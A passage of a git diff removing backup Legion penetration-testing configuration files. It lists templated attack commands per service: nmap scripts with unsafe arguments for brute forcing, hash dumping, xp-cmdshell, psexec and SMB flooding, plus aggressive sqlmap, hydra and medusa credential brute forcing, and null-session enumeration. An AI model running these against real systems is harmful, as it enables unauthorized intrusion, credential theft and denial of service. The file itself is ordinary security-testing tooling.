-Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -snmp-default=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/backup/20190301142846448395-legion.conf b/backup/20190301142846448395-legion.conf deleted file mode 100644 index 66374fd0..00000000 --- a/backup/20190301142846448395-legion.conf +++ /dev/null @@ -1,318 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" -process-tab-detail=False - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run 